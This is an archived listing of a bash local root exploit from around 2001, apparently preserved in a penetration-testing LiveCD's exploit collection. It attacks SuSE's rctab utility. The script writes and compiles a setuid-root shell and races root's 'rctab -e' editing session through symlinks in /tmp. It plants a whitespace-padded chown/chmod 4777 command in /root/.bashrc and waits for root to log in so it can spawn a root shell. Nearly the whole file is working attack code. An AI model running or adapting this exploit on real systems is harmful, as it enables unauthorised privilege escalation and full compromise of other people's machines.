home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / rcshell.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  4KB  |  192 lines

  1. #!/bin/bash
  2. #       any user can force changes to runlevels
  3. #       by IhaQueR
  4.  
  5. declare -i PLOW
  6. declare -i PHIGH
  7.  
  8. # CONFIG:
  9.  
  10. PLOW=1
  11. PHIGH=3
  12.  
  13. TMP="/tmp"
  14. FAKERC=/tmp/fakerc
  15. RCTMPDIR="rctmpdir"
  16. RCTMP="rctmp"
  17. WRITETO="/root/.bashrc"
  18. SUSH="/tmp/sush"
  19.  
  20. # what we want to write to $WRITETO (oops...)
  21. declare -i idx
  22. idx=0
  23. rchead=""
  24.  
  25. while test "$idx" -lt 128 ; do
  26.         rchead="$rchead "
  27.         idx=$(($idx+1))
  28. done
  29.  
  30. rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null
  31. <<_DUPA_"
  32.  
  33. _pwd="$PWD"
  34.  
  35.  
  36. #
  37. echo "----------------------------------------------"
  38. echo "|                                            |"
  39. echo "|        local rctab root exploit            |"
  40. echo "|           you would need luck              |"
  41. echo "|       and an admin stupid enough           |"
  42. echo "|            by IhaQueR '2001                |"
  43. echo "|                                            |"
  44. echo "----------------------------------------------"
  45. echo
  46.  
  47. # test sys
  48. awkl=$(which awk)
  49. if test -x $awkl ; then
  50.         echo "[+] awk found"
  51. else
  52.         echo "[-] awk not found, edit this script :-)"
  53.         exit 1
  54. fi
  55.  
  56. if test -r /sbin/rctab ; then
  57.         echo "[+] rctab found"
  58. else
  59.         echo "[-] rctab not found, sorry"
  60.         exit 1
  61. fi
  62.  
  63. # make suid shell
  64. echo "[+] compiling suid shell"
  65. cat << _DUPA_ >/tmp/sush.c
  66. #include <stdio.h>
  67. main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh",
  68. argv); }
  69. _DUPA_
  70.  
  71. # compile shell
  72. gcc /tmp/sush.c -o $SUSH
  73.  
  74.  
  75. # crate dirs
  76. echo "[+] now creating directories"
  77. echo "    this may take a while"
  78. echo
  79.  
  80. declare -i cnt
  81. cnt=$PLOW
  82. umask 000
  83.  
  84. while [ $cnt -lt $PHIGH ]
  85. do
  86.         cnt=$(($cnt+1))
  87.         if [ $(($cnt % 128)) -eq 0 ] ; then
  88.                 printf "[%6d] " $cnt
  89.         fi;
  90.         if [ $(($cnt % 1024)) -eq 0 ] ; then
  91.                 echo
  92.         fi;
  93.         mkdir -p "$TMP/$RCTMPDIR.$cnt"
  94. done
  95.  
  96. echo
  97. echo
  98. echo "    finished creating dirs"
  99. echo
  100.  
  101. # wait for rctab -e
  102. declare -i rctabpid
  103. rctabpid=0
  104. echo "[+] waiting for root to run rctab"
  105.  
  106. while [ 1 ]
  107. do
  108.         rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
  109.         if test $rctabpid -gt 1 ; then
  110.                 break
  111.         fi
  112.         sleep 1
  113. done
  114.  
  115. # rcfile in
  116. rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"
  117.  
  118. # append our cmd
  119. echo >$rcfile "$rchead"
  120.  
  121. echo "[+] got rctab -e at pid $rctabpid"
  122.  
  123. # test if we own the directory
  124. rcdir="/tmp/rctmpdir.$rctabpid"
  125.  
  126. if test -O $rcdir ; then
  127.         echo "[+] ok, we own the dir"
  128. else
  129.         echo "[-] hm, we are not owner"
  130.         exit 2
  131. fi
  132.  
  133. # wait for editor
  134. declare -i vipid
  135. vipid=0
  136. while [ $vipid -lt 1 ]
  137. do
  138.         vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
  139. done
  140.  
  141. echo "    root is editing now at pid $vipid, wait for writing $rcfile"
  142. sleep 1
  143.  
  144. pfile="/proc/$vipid"
  145.  
  146. # relink
  147. declare -i lcnt
  148. lcnt=$(wc -l $rcfile|awk '{print $1-2 }')
  149. tail -n$lcnt $rcfile >$rcfile.new
  150. rm -rf $rcfile
  151. ln -sf $WRITETO $rcfile
  152.  
  153. if test -r "$WRITETO" ; then
  154.         md=$(cat $WRITETO|md5sum)
  155. fi
  156.  
  157. if test -r $WRITETO ; then
  158.         ac=$(ls -l --full-time $WRITETO)
  159. else
  160.         ac="none"
  161. fi
  162.  
  163. # wait for root to write rctab or exit
  164. while test -d $pfile
  165. do
  166.         if test -r "$WRITETO" ; then
  167.                 oc="$(ls -l --full-time $WRITETO)"
  168.                 if test "$ac" != "$oc" ; then
  169.                         echo "[+] $WRITETO replaced"
  170.                         break
  171.                 fi
  172.         fi
  173. done
  174. rm -rf $rcfile; ln -s $rcfile.new $rcfile
  175.  
  176. if test "$md" = "$(cat $WRITETO|md5sum)" ; then
  177.         echo "[-] bashrc not changed, sorry"
  178.         exit 2
  179. else
  180.         echo "[+] gotcha! wait for root to login"
  181. fi
  182.  
  183. # now wait for root to login :-)
  184. while test -O $SUSH ; do
  185.         sleep 1
  186. done
  187.  
  188. echo "[+] suid shell at $SUSH"
  189. sleep 1
  190. $SUSH
  191.  
  192.